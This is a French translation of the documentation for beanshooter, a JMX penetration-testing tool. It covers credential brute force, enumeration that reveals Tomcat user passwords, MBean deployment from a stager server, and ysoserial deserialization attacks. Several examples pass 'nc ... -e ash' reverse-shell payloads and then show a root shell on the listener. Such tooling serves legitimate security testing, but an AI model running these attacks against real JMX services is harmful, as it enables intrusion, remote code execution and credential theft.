
Outil d'énumération et d'attaque JMX.
beanshooter est un outil d'énumération et d'attaque JMX, qui aide à identifier les vulnérabilités courantes sur les points d'accès JMX.
beanshooter est un projet maven et son installation devrait être simple. Avec maven installé, exécutez simplement les commandes suivantes pour créer un fichier .jar exécutable :```console
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn package
Vous pouvez également utiliser les paquets préconstruits créés pour [chaque version](https://github.com/qtc-de/beanshooter/releases).
Les paquets préconstruits pour la branche de développement sont créés automatiquement et se trouvent sur la *page d'actions* [GitHub](https://github.com/qtc-de/beanshooter/actions). De plus, une image Docker préconstruite pour exécuter *beanshooter* [est disponible](#docker-image).
*beanshooter* n'inclut pas *ysoserial* comme dépendance. Pour activer le support de *ysoserial*, vous devez soit spécifier le chemin vers votre fichier ``ysoserial.jar`` comme argument supplémentaire (par ex. ``--yso /opt/ysoserial.jar``) soit modifier le chemin par défaut dans le [fichier de configuration de beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) avant de construire le projet.
*beanshooter* prend en charge l'autocomplétion pour *bash*. Pour profiter de l'autocomplétion, vous devez avoir installé le projet [completion-helpers](https://github.com/qtc-de/completion-helpers). Si configuré correctement, il suffit de copier le [script de complétion](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) dans votre dossier ``~/.bash_completion.d`` pour activer l'autocomplétion.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/
Les différentes opérations de beanshooter peuvent être divisées en deux groupes : les opérations de base et les opérations MBean. Alors que les opérations de base sont utilisées pour effectuer des opérations générales sur un point d'accès JMX, les opérations MBean ciblent un MBean spécifique pour interagir avec. Pour plus de détails, consultez les exemples d'utilisation dans les sections suivantes.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server
MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files
named arguments: -h, --help show this help message and exit
### Opérations de base
---
Les opérations de base sont des opérations à usage général qui peuvent être effectuées sur un service JMX. Il s'agit généralement d'opérations qui ne ciblent pas un MBean spécifique ou qui ciblent un MBean sans support intégré par beanshooter.
#### Attr
L'action `attr` peut être utilisée pour obtenir ou définir des attributs sur un *MBean* spécifié. Pour obtenir les attributs disponibles, l'action `info` doit être utilisée :```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
Lorsque seul le nom de l'attribut est spécifié, beanshooter obtient et affiche la valeur actuelle de l'attribut :```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false
Lorsqu'une valeur supplémentaire est spécifiée, *beanshooter* tente de définir l'attribut correspondant. Pour les attributs qui ont un type différent de *String*, la spécification du type d'attribut à l'aide de l'option `--type` est requise :```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true
L'action brute effectue une attaque par force brute sur un service JMX protégé par mot de passe. Lorsqu'elle est exécutée sans arguments optionnels supplémentaires,
beanshooter utilise une liste de mots intégrée avec quelques combinaisons courantes nom d'utilisateur-mot de passe. Pour des attaques plus ciblées,
vous devriez utiliser les options --username-file et --password-file pour spécifier des listes de mots plus exhaustives.```console
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.
#### Déployer
L'action `deploy` peut être utilisée pour déployer un *MBean* sur un service *JMX*. Cette action **ne doit pas** être utilisée pour déployer des *MBeans* avec un support par défaut comme par exemple le *TonkaBean*. Le déploiement de *MBeans* avec un support par défaut doit être effectué via les [opérations MBean](#mbean-operations) correspondantes.
Lorsque le *MBean* que vous souhaitez déployer est déjà connu du service *JMX*, il suffit de spécifier le nom de la classe de l'implémentation du *MBean* et le `ObjectName` souhaité :```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.
Lorsque la classe MBean n'est pas connue du service JMX, vous pouvez utiliser les options --jar-file et --stager-url pour fournir une implémentation:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.
#### Enum
L'action `enum` énumère certains détails de configuration sur un point d'accès *JMX*. Elle vérifie toujours si le point d'accès *JMX* nécessite une authentification et s'il permet une désérialisation arbitraire pré authentifiée.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non Default
Lorsque l'authentification n'est pas requise, ou lorsque des identifiants valides ont été spécifiés, l'action enum tente également d'énumérer certaines informations supplémentaires à partir du point de terminaison JMX. Cela inclut une liste des MBeans non par défaut et
par exemple les comptes utilisateur enregistrés sur un serveur Apache tomcat :```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]
Lors de l'invocation de l'action `enum` sur un endpoint protégé par *SASL*, *beanshooter* tente d'énumérer le profil *SASL* configuré pour le serveur. Cela n'est possible que dans une certaine mesure et la configuration *TLS* du serveur ne peut pas être énumérée. Si le profil *SASL* identifié par *beanshooter* ne fonctionne pas, vous devez toujours réessayer avec/sans l'option `--ssl` :```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...
L'action info peut être utilisée pour obtenir des informations sur les méthodes et attributs des MBeans disponibles sur le serveur MBean.
Lorsqu'elle est invoquée sans arguments supplémentaires, les informations sur les méthodes et attributs de tous les MBeans disponibles sont affichées. Lorsqu'un ObjectName supplémentaire est spécifié, seules les informations sur les méthodes et attributs du MBean spécifié sont affichées :```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()
#### Invoquer
L'action `invoke` peut être utilisée pour invoquer une méthode arbitraire sur un *MBean* déjà déployé sur un point d'accès *JMX*.
Outre le point d'accès, l'action `invoke` nécessite le `ObjectName` du *MBean* ciblé ainsi que la signature de la méthode que vous
souhaitez invoquer. Si la méthode spécifiée attend des arguments, ceux-ci doivent également être précisés. L'exemple suivant montre
une invocation de méthode sans argument, où la méthode `vmVersion()` du *MBean* `DiagnosticCommand` est invoquée :```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1
Lors de l'invocation d'une méthode nécessitant des paramètres, les arguments beanshooter spécifiés sont évalués comme du code Java. Les types d'arguments simples comme les entiers ou les chaînes peuvent simplement être passés en spécifiant leur valeur correspondante. Les types d'arguments complexes peuvent être construits comme vous le feriez en Java (par exemple 'new java.util.HashMap()'). La liste suivante montre un exemple, où la méthode help(String[] args) est invoquée sur le MBean DiagnosticCommand :```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add
Arguments: filename : Name of the directives file (STRING, no default value)
Pour les types d'arguments plus complexes qui nécessitent une certaine initialisation, vous pouvez utiliser *beanshooters PluginSystem* et définir une classe personnalisée qui implémente l'[interface IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).
#### Jolokia
Comme décrit dans la *beanshooters* [documentation Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md), presque toutes les actions *beanshooter* peuvent être utilisées avec l'option `--jolokia` pour cibler les points de terminaison *JMX* basés sur *Jolokia*. En dehors de ce support générique pour l'adaptateur *Jolokia JMX*, *beanshooter* prend en charge une action dédiée `jolokia`. Cette action peut être utilisée pour forcer une connexion sortante d'un agent *Jolokia* fonctionnant avec le mode proxy activé :```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0
Le même résultat pourrait être obtenu en invoquant une opération beanshooter classique comme list et en utilisant l'option --jolokia-proxy service:jmx:.... L'action jolokia a été ajoutée comme un raccourci pour ne pas avoir à se souvenir de la syntaxe JNDI. Lors de l'utilisation de l'action jolokia, l'option --jolokia est supposée par défaut.
L'action list affiche une liste de tous les MBeans enregistrés sur le service JMX distant :```console
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]
#### Modèle
L'action `model` est l'une des opérations les plus puissantes de *beanshooter* et implémente une technique
identifiée par [Markus Wulftange](https://twitter.com/mwulftange) qui permet d'invoquer n'importe quelle
méthode Java *publique* et *statique*. De plus, les méthodes d'objet *publiques* peuvent également être invoquées sur une
instance d'objet créée par l'utilisateur. La seule condition est que les arguments de méthode utilisés et l'instance
d'objet fournie (pour les méthodes *non statiques*) soient sérialisables.
La liste suivante montre un exemple d'utilisation, où un objet `File` est fourni comme instance d'objet
et l'opération `String[] list()` est invoquée sur celui-ci :```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv
La méthode setManagedResource est toujours disponible et peut être utilisée pour changer l'instance d'objet sur laquelle opérer :```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...
Quand on invoque des méthodes *statiques*, une instance d'objet est également requise. Cependant, la classe réelle de l'instance d'objet n'a pas d'importance. Par exemple, si vous voulez invoquer `getProperties()` à partir de `java.lang.System`, vous pouvez aussi utiliser une simple `String` comme instance d'objet. Seul le nom de la classe spécifié compte dans ce cas :```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...
L'action model utilise la réflexion pour déterminer les méthodes disponibles sur la classe spécifiée. Si vous ne
disposez pas localement de la classe, vous pouvez toujours l'utiliser en spécifiant les méthodes disponibles via les options --signature
ou --signature-file. Cela dit, pour accéder à des classes non par défaut, vous devez
fournir une instance d'objet qui n'est pas non plus une classe par défaut (non présente dans rt.jar). Cela est nécessaire, car
la classe cible doit être chargée par le même ClassLoader que l'instance d'objet fournie. Pour beanshooters
example-server, javax.management.remote.message.VersionMessage convient, car cette classe est présente
dans opendmk_jmxremote_optional_jar qui est présent à la fois dans le client ainsi que dans le serveur. Nous pouvons utiliser
cela comme une instance d'objet pour invoquer des méthodes sur d'autres classes personnalisées, comme de.qtc.beanshooter.server.utils.Logger:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)
Si vous souhaitez en savoir plus sur la technique implémentée par l'action `model`, je recommande vivement ce [billet de blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) par [CODE WHITE](https://twitter.com/codewhitesec) qui l'explique en détail.
#### Serial
L'action `serial` peut être utilisée pour effectuer des attaques de désérialisation sur un point de terminaison *JMX*. Par défaut, l'action tente des attaques de désérialisation post-authentification. Pour que cela fonctionne, le service *JMX* cible doit soit autoriser un accès non authentifié, soit vous devez disposer d'informations d'identification valides :```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)
JMX services peuvent également être vulnérables à des attaques de déserialisation pré-authentifiée. Pour abuser de cela, vous pouvez utiliser le commutateur --preauth :```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)
Contre les points de terminaison *JMXMP*, la désérialisation pré-authentifiée est généralement possible. Malheureusement, il n'y a aucun moyen de l'énumérer correctement pendant l'action `enum`. Si vous rencontrez un point de terminaison *JMXMP*, vous devriez simplement essayer.
#### Stager
L'action `stager` démarre un serveur stager qui peut être utilisé pour livrer des *MBeans*. La création d'un serveur stager pour la livraison de *MBeans* est normalement effectuée automatiquement lors de l'utilisation de l'action `deploy` de *beanshooters*. Cependant, il est parfois nécessaire d'utiliser un serveur autonome. Lorsque vous utilisez l'action `stager`, vous pouvez soit spécifier le nom d'un *MBean* intégré à livrer (par exemple `tonka`) soit le mot-clé `custom`. Si `custom` est spécifié, les options `--class-name`, `--object-name` et `--jar-file` sont requises.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a
L'action standard déploie un StandardMBean qui implémente la classe TemplateImpl pour atteindre différentes cibles. Cette technique a été identifiée par Markus Wulftange et beanshooter l'implémente pour permettre l'exécution de commandes, le téléchargement de fichiers et le déploiement de TonkaBean.```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)
L'exécution de commandes via l'action `standard` est aveugle et vous ne recevez pas la sortie de votre commande. De plus, par défaut, votre commande est passée à `Runtime.exec(String str)`, qui ne prend pas en charge les fonctionnalités spéciales du shell. Si vous souhaitez utiliser des fonctionnalités du shell, utilisez l'option `--exec-array` et spécifiez votre commande comme ceci : `'sh -c echo "my cool command" > /tmp/test.txt'`. Avec `--exec-array`, *beanshooter* divise la commande spécifiée en trois parties et les passe à `Runtime.exec(String[] arr)`. Cependant, il est généralement recommandé d'utiliser le déploiement *TonkaBean* pour exécuter des commandes :```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
L'énorme avantage par rapport à l'action régulière tonka deploy est que le déploiement via le StandardMBean
ne nécessite pas de connexion réseau sortante. Si un déploiement direct via standard ... tonka ne fonctionne pas,
vous pouvez peut-être télécharger le fichier Jar TonkaBean et le charger via MLet et le protocole file:// :```console
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.
Si vous souhaitez en savoir plus sur la technique implémentée par l'action `standard`, je vous recommande vivement cet [article de blog](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) de [CODE WHITE](https://twitter.com/codewhitesec) qui l'explique en détail.
#### Undeploy
L'action `undeploy` supprime le *MBean* avec le `ObjectName` spécifié du service *JMX* :```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.
Contrairement aux opérations de base qui ciblent les fonctionnalités générales exposées par un point d'accès JMX, les opérations MBean ciblent un MBean spécifique. Pour chaque MBean pris en charge, beanshooter fournit un autre sous-analyseur contenant les opérations et options disponibles pour le MBean correspondant. La liste suivante montre un exemple pour le MBean mlet et le sous-analyseur associé :```console
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments: -h, --help show this help message and exit
### Opérations génériques MBean
---
Certaines opérations *beanshooter* sont disponibles pour chaque *MBean* et sont présentées dans cette section.
Ces opérations génériques *MBean* reflètent souvent les fonctionnalités des [opérations de base](#basic-operations),
mais sans nécessiter la spécification d'un *ObjectName*.
#### Attr générique
L'action `attr` fonctionne de la même manière que l'action `attr` des opérations de base. Cependant, l'*ObjectName*
n'a plus besoin d'être spécifié, car il est contenu dans le *MBean* spécifié.```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase
L'action deploy fonctionne essentiellement comme l'action deploy des opérations de base.
Cependant, puisque le nom de la classe, ObjectName et le fichier jar d'implémentation sont déjà associés au MBean spécifié, vous avez seulement besoin de spécifier l'option --stager-url avec cette action (en supposant qu'un fichier jar intégré est disponible) :```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed
